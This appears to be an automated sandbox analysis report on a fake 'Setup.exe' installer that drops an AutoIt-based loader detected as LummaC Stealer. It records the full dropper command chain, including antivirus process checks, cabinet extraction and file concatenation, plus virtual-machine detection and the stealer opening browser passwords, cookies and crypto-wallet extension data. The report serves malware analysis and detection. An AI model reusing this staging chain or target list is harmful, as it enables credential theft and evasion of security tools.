Source: C:\Users\user\Desktop\Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Setup.exe

Static file information: File size 1241125 > 1048576

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405B93 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405B93

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\335031\Amino.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\335031\Amino.com

Jump to dropped file

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Window / User API: threadDelayed 3308			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Window / User API: threadDelayed 365			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe TID: 7968	Thread sleep time: -181940s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com TID: 572	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com TID: 572	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B6C FindFirstFileW,FindClose,		0_2_00405B6C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040652D DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_0040652D

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\335031\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\335031	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405B93 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405B93

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 335031	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Appreciated.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Communications" Turner	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 335031\Amino.com + Scanner + Tri + Submission + Aging + Digital + Collection + Cleveland + Taiwan + Receives + Nd + Investors + Detection 335031\Amino.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Thumbnail.msi + ..\Prize.msi + ..\Mile.msi + ..\Clark.msi + ..\Using.msi + ..\Horizontal.msi + ..\Sum.msi + ..\France.msi T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\335031\Amino.com Amino.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: Amino.com, 0000000C.00000000.1200831480.00000000006D3000.00000002.00000001.01000000.00000007.sdmp, Nd.8.dr, Amino.com.1.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405C44 GlobalAlloc,lstrlenW,GetVersionExW,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GlobalFree,lstrcpyW,OpenProcess,CloseHandle,CharUpperW,lstrcmpW,GlobalFree,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,lstrcmpW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,FreeLibrary,CloseHandle,

0_2_00405C44

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
